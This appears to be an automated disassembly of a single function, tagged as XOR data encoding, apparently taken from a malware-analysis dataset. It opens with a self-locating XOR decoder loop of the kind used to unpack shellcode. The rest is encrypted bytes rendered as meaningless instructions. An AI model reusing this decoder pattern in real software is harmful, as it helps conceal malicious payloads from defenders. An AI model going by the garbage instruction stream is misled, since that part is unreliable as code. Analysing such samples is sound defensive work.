Function at 0xfcfd6c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xfcfd76
pushal
call 0xfcfd7c
pop ebp
sub ebp, 0x10
sub ebp, 0xbcfd6c
jmp 0xfcfd92
mov eax, 0xbcfd6c
add eax, ebp
add eax, 0x4c
mov esp, 0x81c50300
ror byte [eax + eax], 0
mov ecx, 0x5a7
mov edx, 0xfa0a917a
add eax, 0x7aba0000
xchg ecx, eax
or bh, dl
xor byte [eax], dl
inc eax
dec ecx
jne 0xfcfda9
jmp 0xfcfdbc
int1
mov bh, 0xf1
inc esi
inc esi
jp 0xfcfe3d
jp 0xfcfdc0
mov ebx, 0x7a7a7a82
jns 0xfcfd83
ret 0x7a7f
jp 0xfcfe5a
jns 0xfcfda1
mov edi, 0x5e1ef72a
sub dh, bh
push ds
pop esi
xchg bl, dh
jle 0xfcfe48
adc cl, byte [esi + 0x127a677c]
jl 0x577878db
pop esi
adc dl, byte [eax - 0x6d584545]
jg 0xfcfe79
jp 0xfcfe7a
jp 0xfcfe7b
jp 0xfcfd95
xchg ebx, eax
push esp
jp 0xfcfe7f
jp 0xfcfdfe
push ds
pop esi
xchg bl, dh
push esi
pop esi
int1
xchg esi, eax
int1
push dword [edx + 0x7a]
jp 0xfcfe8f
int1
out dx, eax
jbe 0xfcfe93
jp 0xfcfe95
int1
imul dword [edx + 0x7a]
jp 0xfcfe9b
mov ebx, 0x784b7893
stc
mov eax, 0xff75337e
mov es, word [ebp - 0x47d87a7b]
jbe 0xfcfeae
int1
neg byte [esi + 0x7e]
jp 0xfcfeb4
jp 0xfcfe4e
invalid
jl 0xfcfea6
jp 0xfcfe53
jl 0x5778792c
pop esi
sub edx, dword [edx + 0x7a7a7a7f]
xchg ebx, eax
cmp edi, dword [eax + 0x7a]
jp 0xfcfe83
das
not dword [esi]
push ss
pop esi
jp 0xfcfdde
pcmpeqd mm0, qword [ebp + 0x892720f]
jbe 0xfcfde1
invalid
jp 0xfcfedc
jp 0xfcfe55
invalid
jb 0xfcfee1
jp 0xfcfee3
jp 0xfcfe65
sti
mov ebp, dword [edx]
jp 0xfcfed8
inc edx
sti
mov ebp, dword [edx]
jp 0xfcfede
inc edx
dec ecx
mov bl, 0x49
dec ecx
test al, 0xf9
stc
xchg edx, eax
jg 0xfcfeaf
jne 0xfcfe7d
xor al, 0x7a
jp 0xfcfefd
jne 0xfcfe77
xor bh, byte [edx + 0x7a]
jp 0xfcfea6
int1
inc bx
cli
adc dword [edx + 0x7a60fe75], 0x81fa7a7a
xchg ebx, eax
xchg edx, eax
jne 0xfcfe90
invalid
pushal
jp 0xfcff0f
jp 0xfcfe91
adc dword [ebx + 0x7a6bfe75], 0xfb1c7a7a
jne 0xfcfe99
imul edi, dword [edx + 0x7a], 0x7a
sbb al, 0xfb
add dword [ebp + 0x6ffe755f], 0x3b7a7a7a
outsd dx, dword [esi]
jp 0xfcff23
jp 0xfcfee6
xchg ebx, eax
mov dh, 0x85
test dword [ebp + 0x7b433653], eax
test dword [ebx + 0x36], edx
inc ebx
jnp 0xfcfeae
stc
mov ebx, 0x7e92f97f
xchg ebx, eax
mov dword [ebp + 0x2e538585], 0xbbf97843
jl 0xfcfec0
test dword [ebp + 0x78432e53], eax
inc ebx
js 0xfcfebd
stc
mov ebx, 0x7e90f97c
stc
nop
jle 0xfcfec3
xchg edx, eax
jg 0xfcfe60
rol dword [ebp - 0x47d87a7b], 1
jbe 0xfcff4f
das
int1
xchg esi, eax
sub al, 0x2d
das
int1
pcmpeqd mm6, mm1
int1
pop es
jb 0xfcfe68
xchg al, cl
enter 0xfffffffffffff0fa, 0x7c
cli
invalid
sti
mov esp, 0x7a7a7a7b
jp 0xfcff66
bnd jge 0xfcfeea
mov ebp, 0x7a7a7a7b
sar dword [eax + 0x7a], 0x7a
jp 0xfcff72
test al, 0x75
invalid
jg 0xfcff79
jp 0xfcff7b
invalid
invalid
test al, 0x75
stc
adc byte [edx + 0x7a], bh
jp 0xfcff69
mov edx, 0xff75a878
jne 0xfcff24
invalid
jg 0xfcffa1
jp 0xfcffa3
invalid
test al, 0x69
mov edx, 0xff75a878
jg 0xfcffd2
jp 0xfcffd4
invalid
jp 0xfcffe2
jp 0xfcff5a
invalid
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x69
push 0x75ba69a8
invalid
mov edx, 0x7a7cfe75
jl 0xfcffee
jp 0xfcfff0
int1
movsd dword es:[edi], dword [esi]
push ecx
mov byte [0x7df279f0], al
cmp eax, 0x7a7a78c1
jns 0xfcff6f
jge 0xfcffbc
sar dword [eax + 0x7a], 0x7a
jp 0xfcfffd
jp 0xfcff18
or al, byte [ebp + 0x7bc28585]
jp 0xfd0007
jp 0xfd0007
test al, 0x75
invalid
jg 0xfd001d
jp 0xfd001f
invalid
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x3e46ae7b], eax
jnp 0xfd002f
jp 0xfd0031
jne 0xfcffb8
dec dword [esi + 0x7a]
jp 0xfd0037
dec esi
jp 0xfd0036
jp 0xfcff81
ret
jnp 0xfd003a
jp 0xfd003c
js 0xfcff6c
jne 0xfcffc5
invalid
jg 0xfd0042
jp 0xfd0044
invalid
test al, 0x75
invalid
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x720ed37b], eax
push ecx
test dword [ebp + 0x518df12c], eax
lea edx, [ecx - 0x71]
mov esi, ebx
and al, 0x93
jb 0xfcff74
invalid
test dword [ebp - 0x6544cd7b], eax
jb 0xfcffe6
test dword [ebp + 0x729abb32], eax
invalid
test dword [edx], esi
mov ebx, 0x7cf0729a
cmp al, 0xf1
jl 0xfd0034
int1
xchg edx, eax
ret
jp 0xfd0079
js 0xfcffa9
jne 0xfd0002
invalid
jg 0xfd007f
jp 0xfd0081
invalid
jp 0xfd0007
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp + 0x7a82fb85], eax
pop es
test dword [ebp + 0x77a82fb], eax
jp 0xfd00a1
sti
mov dword [0x85858585], eax
sti
cmp byte [edx + 0x7f], 0x7a
jp 0xfd002f
jp 0xfd00b0
jp 0xfd00ad
sti
mov dword [0x85858585], eax
sti
test dword [ebp - 0x57d047b], eax
test dword [ebp + 0x7afa82fb], eax
cmp dl, 0x7a
cli
jp 0xfd00b8
jp 0xfd00b9
jp 0xfd003b
sti
stosd dword es:[edi], eax
jp 0xfd00bd
jp 0xfd00be
jp 0xfd00bf
jp 0xfd0041
sti
cmp dl, 0x7a
jp 0xfd00c5
sti
stosd dword es:[edi], eax
jp 0xfd00c9
jp 0xfd00cb
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0x93
loope 0xfcffe0
test dword [ebp + 0x493c7cf0], eax
dec ecx
mov bl, 0xba
xchg edx, eax
jnp 0xfd00dc
invalid
jp 0xfd0064
xchg edx, eax
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0xc1
jnp 0xfd00f9
sar dword [ebx + 0x7a], 0x7a
jp 0xfd00fa
jp 0xfd00fb
jp 0xfd0015
xchg ebx, eax
or dword [ebp + eax*4 + 0x7512785], eax
jb 0xfd007c
mov ebp, 0x9ff12425
and al, 0xf1
lahf
daa
mov eax, 0x46f17a72
pop esi
neg dword [esi]
pop esi
jle 0xfd008d
dec esi
pop esi
neg dword [esi]
pop esi
jle 0xfd0036
jle 0xfd011f
jp 0xfd0121
paddsb mm7, qword [ecx]
stc
ret 0x8716
xchg esi, eax
jp 0xfd012a
jns 0xfd0071
mov edi, 0x791fbafb
jp 0xfd0132
sti
mov edx, 0x7a7a791f
ret
hlt
js 0xfd0136
jp 0xfd007e
sal cl, 0xdf
enter 0x4a07, 0x6a
cmp dh, byte [ebx]
jne 0xfd00c7
int1
invalid
xor esi, dword [ebp - 1]
dec dword [ebp + eax*4 + 0x7e938585]
mov word [ebp + 0x7e938585], es
test dword [ebp + 0x7a7e9385], eax
jp 0xfd014b
test dword [ebx + 0x7a7a7a7e], edx
jp 0xfd014a
jp 0xfd0091
mov edi, 0x763c6739
pcmpeqd mm0, qword [esi]
cmp dword [edi + 0x3c], esp
jbe 0xfd00e6
jbe 0xfd00df
jp 0xfd0061
int 0x76
push es
jbe 0xfd00e4
jp 0xfd012d
dec ebp
invalid
int1
invalid
invalid
int1
jp 0xfd00ba
mov esi, 0xf10b70f5
cmc
jo 0xfd010a
int1
int1
int1
int1
invalid
daa
jo 0xfd0143
stc
int1
int1
int1
jo 0xfd012b
stc
int1
int1
int1
jo 0xfd0121
int1
int1
int1
int1
invalid
and eax, 0x970e0e0e
push cs
push cs
xchg edi, eax
jp 0xfd011c
xor byte [ecx], bl
std
jb 0xfd013c
adc esi, edi
jo 0xfd0137
invalid
or edx, esi
int1
int1
int1
int1
invalid
int1
int1
xchg edi, eax
jp 0xfd0131
jo 0xfd014e
adc dword [esi], ecx
push cs
invalid
invalid
sbb byte [ecx], bh
push cs
cmp dword [esi], ecx
push cs
push cs
sbb ch, dh
int1
int1
int1
xchg ebx, eax
pop ds
add byte [ecx + ecx*2 - 0x63], dl
or al, 0x4d
int1
xor al, 0x70
xor ebx, esp
cmc
int1
int1
dec eax
adc al, dh
int1
int1
dec ebx
inc ecx
mov dl, 6
jecxz 0xfd0131
loope 0xfd0123
mov eax, 0xe0774fe
push cs
push cs
sbb ch, dh
int1
int1
int1
scasb al, byte es:[edi]
std
invalid